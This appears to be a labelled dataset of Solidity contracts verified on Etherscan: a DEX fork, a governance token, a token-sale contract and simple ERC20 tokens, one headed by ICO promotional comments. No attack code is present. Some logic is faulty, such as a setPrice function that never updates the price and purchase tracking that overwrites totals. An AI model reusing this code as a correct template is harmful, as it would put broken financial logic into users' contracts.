returns(uint) { return accountLevels[user]; } } contract AccountLevelsTest is AccountLevels { //mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) public { accountLevels[user] = level; } } contract BossExchange is Ownable { using SafeMath for uint256; address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) transferToken public tokenReward; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public { owner = admin_; admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() public { revert(); } function changeAdmin(address admin_) public onlyOwner { admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) public onlyOwner { accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) public onlyOwner { feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) public onlyOwner{ require(feeMake_ <= feeMake); feeMake = feeMake_; } function changeFeeTake(uint feeTake_) public onlyOwner { require (feeTake_ <= feeTake && feeTake_ >= feeRebate); feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) public onlyOwner { require(feeRebate_ >= feeRebate && feeRebate_ <=feeTake); feeRebate = feeRebate_; } function deposit() public payable { tokens[0][msg.sender] = tokens[0][msg.sender].add(msg.value); emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) public { require(tokens[0][msg.sender] >= amount); tokens[0][msg.sender] = tokens[0][msg.sender].sub(amount); msg.sender.transfer(amount); emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) public { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require(token!=0); require(StandardToken(token).transferFrom(msg.sender, this, amount)); tokens[token][msg.sender] = tokens[token][msg.sender].add(amount); emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) public { require(token!=0); require(tokens[token][msg.sender] >= amount); tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount); tokenReward = transferToken(token); tokenReward.transfer(msg.sender, amount); emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) public constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); orders[msg.sender][hash] = true; emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public { //amount is in amountGet terms bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); require(( (orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.number <= expires && orderFills[user][hash].add(amount) <= amountGet )); tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = orderFills[user][hash].add(amount); emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = amount.mul(feeMake) / (1 ether); uint feeTakeXfer = amount.mul(feeTake) / (1 ether); uint feeRebateXfer = 0; feeRebateXfer = feeTakeXfer; /*if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = amount.mul(feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; }*/ tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(feeTakeXfer)); tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.add(feeRebateXfer).sub(feeMakeXfer)); //tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeMakeXfer.add(feeTakeXfer).sub(feeRebateXfer)); tokens[tokenGive][user] = tokens[tokenGive][user].sub(amountGive.mul(amount) / amountGet); tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].add(amountGive.mul(amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); uint available1; if (!( (orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) && block.number <= expires )) return 0; available1 = tokens[tokenGive][user].mul(amountGet) / amountGive; if (amountGet.sub(orderFills[user][hash])<available1) return amountGet.sub(orderFills[user][hash]); return available1; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user) public constant returns(uint) { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public { bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce)); require((orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)); orderFills[msg.sender][hash] = amountGet; emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-31 */ /** *Submitted for verification at Etherscan.io on 2020-11-09 */ // SPDX-License-Identifier: GPL-3.0-or-later // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.12; contract WSGov { /// @dev EIP-20 token name for this token string public constant name = "WhiteSwap"; /// @dev EIP-20 token symbol for this token string public constant symbol = "WSD"; /// @dev EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @dev Total number of tokens in circulation uint public totalSupply = 21_000_000e18; // 1 billion WSG /// @dev Address which may mint new tokens address public minter; /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @dev Official record of token balances for each account mapping (address => uint96) internal balances; /// @dev A record of each accounts delegate mapping (address => address) public delegates; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @dev A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @dev The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @dev The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @dev A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @dev An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @dev An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @dev The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @dev The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @dev Construct a new WSG token */ constructor() public { balances[msg.sender] = uint96(totalSupply); emit Transfer(address(0), msg.sender, totalSupply); minter = msg.sender; emit MinterChanged(address(0), minter); } /** * @dev Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require(msg.sender == minter, "WSG::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /** * @dev Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "WSG::mint: only the minter can mint"); require(dst != address(0), "WSG::mint: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "WSG::mint: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "WSG::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "WSG::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "WSG::burn: burn from the zero address"); uint256 accountBalance = balances[account]; require(accountBalance >= amount, "WSG::burn: burn amount exceeds balance"); balances[account] = safe96(SafeMath.sub(accountBalance, amount), "WSG::burn: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.sub(totalSupply, amount), "WSG::burn: amount exceeds 96 bits"); emit Transfer(account, address(0), amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } /** * @dev Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @dev Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "WSG::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::permit: invalid signature"); require(signatory == owner, "WSG::permit: unauthorized"); require(now <= deadline, "WSG::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @dev Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "WSG::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @dev Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "WSG::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "WSG::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @dev Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @dev Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "WSG::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "WSG::delegateBySig: invalid nonce"); require(now <= expiry, "WSG::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @dev Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "WSG::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "WSG::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "WSG::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "WSG::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "WSG::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "WSG::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "WSG::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "WSG::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-17 */ /** *Submitted for verification at BscScan.com on 2021-12-01 */ /** *Submitted for verification at Etherscan.io on 2021-11-30 */ pragma solidity >=0.6.0 <0.8.0; interface MNU20 { function transfer(address receiver, uint amount) external; function transferFrom(address _from, address _to, uint256 _value)external; function balanceOf(address receiver)external returns(uint256); } contract NiranaMeta{ address public owner; address public MNUerc20; uint256 public price; uint256 public limit; mapping(address=>uint256)public users; modifier onlyOwner() { require(owner==msg.sender, "Not an administrator"); _; } constructor(address _MNUaddress)public{ owner=msg.sender; //MNU=address(0x48fbff00e8ebc90c118b44b3d96b915e48656a73); //USDT=address(0xdac17f958d2ee523a2206206994597c13d831ec7); price=0.000048 ether; MNUerc20=_MNUaddress; } receive() external payable {} function EthBuyMnu(uint256 _value)payable public{ require(users[msg.sender]<limit); uint256 amount=msg.value/price*1 ether; MNU20(MNUerc20).transfer(msg.sender,amount); users[msg.sender]=amount; } function setPrice(uint256 amount,uint256 _limit) onlyOwner public { price=price; limit=_limit*10**18; } function withdraw(address payable addr,uint256 amount) onlyOwner public { addr.transfer(amount); } function withdrawMNU(address payable addr,uint256 amount) onlyOwner public { MNU20(MNUerc20).transfer(addr,amount); } function getPrice()public view returns(uint256,uint256){ return(price,limit); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-08 */ pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'NotYourMamasCoin' token contract // // Deployed to : 0x133889976f43BeE67F6968B17b6970DAe6C4f2A9 // Symbol : NYMC // Name : NotYourMamasCoin // Total supply: 1000000 // Decimals : 0 // // Not Your Mama's Coin Salutes You // // (c) by The One They Call Squishy // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract NotYourMamasCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NYMC"; name = "NotYourMamasCoin"; decimals = 0; _totalSupply = 1000000; balances[0x133889976f43BeE67F6968B17b6970DAe6C4f2A9] = _totalSupply; emit Transfer(address(0), 0x133889976f43BeE67F6968B17b6970DAe6C4f2A9, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-21 */ pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // ⚙️ ALL BEST ICO DeFi (ALLBI)! // // Deployed to : 0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4 // Symbol : ALLBI // Name : ALL BEST ICO // Total supply: 666000000.000000000000000000 // Decimals : 18 // // ®NEW ️Official ALL BEST ICO (ALLBI) Smart Contract! // *You can buy our NFT offers from: https://opensea.io/collection/allbi-onlexpa-nfts // 🌐 ALLBESTICO.com (ALLBI) is extraordinary! We have a unique business model which is far superior than any other available platforms. // 👉 We will help you to create and develop your Crypto Project through our system! // // 1️⃣. Create Your Account: // ✅Sign up on our site and enter ALLBI Tokens Address which you will use to create your Cryptocurrency! // // 2️⃣. Sign in to your Profile: // ✅ You will receive a Bonus (see more information in your profile). You can enter your Cryptocurrency parameters whenever you like, after making the payment! // // 3️⃣. Pay and create Your Crypto Project (ICO): // ✅ If you choose to create your Crypto Project, you must select your Crypto Project parameters - (name, number of characters, site name ... etc.) – see 📃 https://allbestico.com/whitepaper.pdf // // 📊 Every project that has been created on our platform will receive huge opportunities for successful realization. // ✅ All new crypto projects will be advertised on our site! We'll teach you how to properly manage your Cryptocurrency, how to send tokens to other crypto addresses, how to get paid for them and so on. // 🧐see our site for more information: ALLBESTICO.com (ALLBI) (c) by / Lex Partners Ltd™️ // *You can buy our NFT offers 